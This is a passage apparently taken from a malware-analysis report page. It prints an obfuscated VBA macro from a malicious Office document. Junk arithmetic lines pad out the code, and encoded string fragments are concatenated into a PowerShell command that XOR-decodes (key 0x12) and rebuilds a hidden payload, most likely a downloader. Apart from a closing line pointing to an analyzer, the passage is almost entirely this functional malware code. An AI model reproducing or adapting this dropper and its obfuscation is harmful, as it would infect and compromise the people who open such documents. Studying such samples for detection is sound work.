kmDpthBKo = WZYihiAhi + iOkGj + JBPNnSBLhv + hczOpYfrDCq + TQDFBR + JLrOjoz + FBlnst + FwZnz + iqIEvHHnCwJ
End Function
Function DEPERjIhdLL()
On Error Resume Next
YGPFmX = zOnNWn
bkpIi = Sqr(76740)
wsqTAE = skHIEP - OISsa / 54521 / jEKrYI - 223327908 + Hex(cDiBH) * WEnBv - Round(4399)
RUazFd = 88991 + zTrLmn + (78402 * CDbl(zSXvrw) - WwMsm / CSng(67440) - DVwiUw / Hex(Xjoqj) + 11857 - 92155)
WkYsGzt = "6b60a11" + "3}125m127g61Z68" + "{91m92a35m71" + "}107a119b102T9" + "9{112g" + "61g82m122m102" + "Z102U98a40T61U"
nDjYC = sMbWPH
GQFZt = Sqr(3104)
FTjHK = TtlkiQ - BOOzG / 84432 / NrdQGb - 223327908 + Hex(OVkSX) * tavJo - Round(81601)
IPofb = 54289 + bQhdHw + (13089 * CDbl(KURwYD) - fUmpsQ / CSng(21816) - jOtwA / Hex(PHZTH) + 94128 - 44848)
DKuizpvCs = "61}97}121b107U1" + "18b125U127}119" + "}115{113T1" + "15{118T1" + "19<127b107" + "T60a1"
vOojc = HUrCFT
qrmSVa = Sqr(69238)
YwuDjH = KviaOl - DXRkDX / 28807 / NXIXI - 223327908 + Hex(RbSzk) * zVjwpv - Round(7458)
GtOpS = 1232 + aFXBRH + (12311 * CDbl(aTELP) - zwDto / CSng(50326) - oXTiz / Hex(DzMFr) + 77033 - 14611)
VWPzBRTiT = "13<125a127U61U" + "86a115a" + "102<115{61a" + "126}64b96Z87T1" + "19T34<32" + "T123T61<82<" + "122T102m102U9" + "8T40}61b" + "61U97U1" + "13m115a116m1"
JMNsM = nOAkX
pBmOV = Sqr(48125)
bfpPs = HkNfw - UrsdwG / 50001 / zbTPKE - 223327908 + Hex(NzWBp) * OawsNf - Round(98580)
iKkXu = 18504 + otULai + (81189 * CDbl(inVvHT) - DAJPL / CSng(1461) - CbhcX / Hex(okMBf) + 94878 - 29980)
kDiGDBJkTa = "15Z124T118b96" + "{125}60U113T125" + "m127U60{112" + "<96b61a" + "123a34T74Z94a85" + "a116m34<96Z" + "106b61T8" + "2{122b102"
AwWhzu = zXoHv
dowAm = Sqr(7181)
VQKWPr = iTdJJj - YzpMS / 56478 / lajWDK - 223327908 + Hex(VsPpiN) * hwFTa - Round(24687)
HzMaFn = 19885 + krdJVG + (32368 * CDbl(llbaNw) - wiKJrQ / CSng(53105) - utzGbj / Hex(HronP) + 13909 - 86168)
DdVQniD = "Z102m98Z4" + "0U61" + "a61" + "T101{101" + "<101<60b121a1"
VKGwI = FoJoT
mTmQOk = Sqr(49150)
bJbTZD = Rfmcrl - bFCzli / 70961 / RQUTnE - 223327908 + Hex(lMvJj) * upVSOd - Round(81507)
zjpdzM = 64888 + IaNTi + (42379 * CDbl(qDjssQ) - QQaYu / CSng(3717) - jjbVDQ / Hex(rSFHsw) + 9208 - 90629)
BcHwcB = "19}102<125{115" + "<124g112m" + "115a125b102}" + "123U124m60" + "m113<125U127Z61" + "U42m86m116}11"
McDKo = hOPzvK
lLRhi = Sqr(56057)
PomWhw = KjXcj - jjfmJ / 38203 / tNUTr - 223327908 + Hex(DNBIpO) * TGiPH - Round(81509)
sKwFQW = 18796 + ajhFDh + (31280 * CDbl(jWAumF) - RJwMaX / CSng(94597) - OWTBiX / Hex(wGjSm) + 93337 - 42163)
PHtwKpwq = "9a64}" + "32g87{126a" + "96U61m53Z60U" + "65Z98m" + "126a1" + "23<102T5"
hwwvJ = CVBff
oVNuwC = Sqr(85015)
QAFLOD = uIAsKr - zPPChZ / 88536 / COjNJ - 223327908 + Hex(LPiqqQ) * cMnwO - Round(37125)
PFBBU = 35802 + lsDIah + (27951 * CDbl(AdEPi) - DqzQZ / CSng(20269) - siMVdR / Hex(NSEKzb) + 8879 - 45000)
uIqkzoz = "8m53a82" + "{53<59" + "{41{54b102{92" + "T84{9" + "2U70b81<50m" + "47{50}54b113Z71" + "}90g" + "101m126<113<60{" + "124<1"
obLNl = YwftU
JJsJTD = Sqr(91046)
pBNYU = oLZmT - HdjzN / 51050 / jSGzcw - 223327908 + Hex(StaRoS) * jzTJp - Round(73919)
Cwzqi = 3040 + pjsSCU + (53155 * CDbl(UCbDTF) - dbCTbH / CSng(43224) - kpVXN / Hex(fWJzT) + 56399 - 63841)
rSwocdwEhiB = "19{106m102g58g3" + "5m62U50{42}37U3" + "7a36T38<38<" + "59T41U5" + "4U72{71m87<90<"
DEPERjIhdLL = WkYsGzt + DKuizpvCs + VWPzBRTiT + kDiGDBJkTa + DdVQniD + BcHwcB + PHtwKpwq + uIqkzoz + rSwocdwEhiB
End Function
Function nJHJjKb()
On Error Resume Next
hzXhJ = pjcvw
iIINC = Sqr(30122)
XFhQQ = kSqwR - GmDwzj / 26413 / OKpbLI - 223327908 + Hex(jJbdj) * WzqWn - Round(57302)
OOljCk = 53372 + DulIwA + (5847 * CDbl(dMnYoj) - UiRSkr / CSng(73440) - iVvED / Hex(PRYNwE) + 75431 - 23542)
XTtlW = "113<5" + "0a47}50g" + "54" + "Z119b124{100}4" + "0{102{11" + "9T1" + "27<98<5" + "0a57m50Z53" + "}78a53b50<57"
jGWCn = GcfMJ
kFjWn = Sqr(34650)
ziqFlY = RCFpwK - VmvFDm / 20053 / hPkJjC - 223327908 + Hex(VfClMV) * EbsMw - Round(97952)
oUtMPG = 9013 + jBIOS + (65408 * CDbl(joNaLC) - OIonoC / CSng(5074) - DzSwvh / Hex(laQiVi) + 59169 - 96389)
DiiYo = "<50g54" + "<102m92g84<9" + "2g7" + "0T81<50Z57T50" + "a53Z60b119" + "T106" + "U11" + "9Z5" + "3a41U116a1" + "25a96g1"
QsjnLO = lQkfa
pkLjR = Sqr(6388)
qPXjDR = XlPwK - GMahE / 25259 / XQuzaR - 223327908 + Hex(hkchTL) * QVdpZ - Round(79173)
zaVbs = 49289 + hZmMwb + (5764 * CDbl(TNroLw) - WDWVo / CSng(33894) - OSGlAV / Hex(GQTYRw) + 81752 - 10929)
LCmGhOfUh = "19U115b113<122" + "a58g54Z84" + "b122}75" + "U94Z124m94}" + "50{12" + "3T124T50a54a12" + "7U86" + "m125b97}95{66}5" + "9g105g102" + "b96b107<1"
wmBCf = OcKifE
YjqYl = Sqr(26230)
BjVuwc = KGMSLL - Oupzqs / 17179 / QvQAZX - 223327908 + Hex(ozTNM) * ijJtX - Round(52022)
VZVZF = 74279 + XmJidz + (89302 * CDbl(qwsiXk) - dsvufV / CSng(10012) - wBPFEq / Hex(EjnHo) + 19269 - 56595)
mmrEbP = "05Z54U123a84}12" + "1g118g68{1" + "18m" + "60{8" + "6b1" + "25g101m12" + "4g126m125g115"
juWwS = JmAYvV
YzTHdb = Sqr(40359)
cEszs = KORrV - qZHOpM / 3333 / IwvIvr - 223327908 + Hex(TOikz) * Gwmrq - Round(51759)
KPZdwD = 10850 + RPwwwf + (61333 * CDbl(jFSRk) - WZSim / CSng(27390) - nYYrjq / Hex(JjzUV) + 53606 - 28277)
sZFtizkJk = "{118g84T1" + "23Z126U119U58" + "{54b84T122T75g" + "94{1" + "24" + "U94Z60T70<125" + "U65U102<9"
VjCiG = owrESR
ikPXk = Sqr(49317)
VXjTj = rmhrit - zPpanw / 26088 / KqQMLk - 223327908 + Hex(ojuRlz) * DdsnsG - Round(18200)
VKdIk = 8259 + zrznG + (41830 * CDbl(kdUXw) - tdYwRB / CSng(21098) - CbKMT / Hex(zvSdH) + 73145 - 49481)
cQmFJVIo = "6{123Z12" + "4}117m58U" + "59a62g50{5" + "4g72" + "b71U87{90" + "b113a59a41b65"
mZsbKO = ojoMOL
tCiGjl = Sqr(8830)
ldZmkW = DImoi - wpzvh / 11795 / TqOjjG - 223327908 + Hex(jLlarU) * ktnAi - Round(51629)
QGUwrz = 1713 + QHwRMM + (64910 * CDbl(DHfZD) - UjZlts / CSng(20043) - ZkVWMm / Hex(wOLjp) + 15581 - 70605)
KjRRnawYXnz = "Z10" + "2b115Z96T102U6" + "3T66U9" + "6{125" + "T113{119" + "a97m97U" + "50{54U72b71Z8"
IbDTB = zMjLC
qWnDl = Sqr(32599)
QDAaE = EbVnFA - zolEa / 43859 / Pzutz - 223327908 + Hex(LUttnw) * EITLi - Round(64869)
LPvPqC = 57990 + XsXMzO + (23410 * CDbl(vMuwf) - LOLPhq / CSng(68515) - bZXLJ / Hex(piwzEl) + 71207 - 30290)
NCQuLwJbi = "7Z90g113a41Z" + "112b96<119}1" + "15{121{41m111{1" + "13b11" + "5m1" + "02<113g122g105"
aVcQf = zFCkid
nAQYom = Sqr(31611)
KMkAHN = frKMPS - QpWpP / 99790 / UNTZB - 223327908 + Hex(UMqbJ) * iwzZjw - Round(67484)
zHTJG = 50907 + Ujibz + (13895 * CDbl(MpUaWs) - rtVdO / CSng(30343) - FRIKKk / Hex(wpKFI) + 48267 - 77490)
zStQj = "a1" + "01U96m123g102" + "}119g63a122" + "T125g97U102" + "}50Z54m77{60{8"
nJHJjKb = XTtlW + DiiYo + LCmGhOfUh + mmrEbP + sZFtizkJk + cQmFJVIo + KjRRnawYXnz + NCQuLwJbi + zStQj
End Function
Function ofuNNj()
On Error Resume Next
fNzNZX = jaBzX
LNKzn = Sqr(74264)
KOJrH = hiLabP - jNHQBa / 35961 / IizEv - 223327908 + Hex(wCvBq) * TbZSt - Round(32721)
ZpwRb = 10752 + dSBjC + (49950 * CDbl(bTQmqf) - iHQGA / CSng(57987) - kmoblY / Hex(IzHIt) + 52748 - 25095)
pldwJYvSruN = "7g106a113Z11" + "9Z" + "98<102" + "{123}125U" + "124Z6" + "0U95m119a97" + "}97Z1" + "15m117T119{41"
aQwhR = TjwFt
hIjBub = Sqr(20535)
WNBct = ojujsn - MWHYCi / 96004 / QfaCTi - 223327908 + Hex(wqhJnf) * pbJdkB - Round(49164)
NTwBkM = 75688 + dljPZ + (71058 * CDbl(ZEnpX) - LrDLwf / CSng(85856) - lzwCDd / Hex(XapGGF) + 71647 - 79181)
zHvibdiGG = "a111g111'.s" + "PLiT( '<}ZmgaU" + "T{b'" + ") |FOrEACH-O" + "BJeCt{"
VtBAU = ZdswMh
KAwnF = Sqr(86230)
TCQYA = tYHCw - qMVaF / 13293 / jiUWv - 223327908 + Hex(zpWAV) * wjwWK - Round(19943)
ibZaL = 594 + EBiADh + (62690 * CDbl(OYuwJF) - hBSJB / CSng(48035) - pMawa / Hex(AjDYB) + 82185 - 14674)
lApkzcIPmzj = " [ChAr] ($_ -BX" + "OR 0x12 " + " )} )+" + Chr(34) + " $(Se" + "T-VAriA" + "BLE" + "  'OF" + "s' ' ' ) " + Chr(34) + ")"
ofuNNj = pldwJYvSruN + zHvibdiGG + lApkzcIPmzj
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.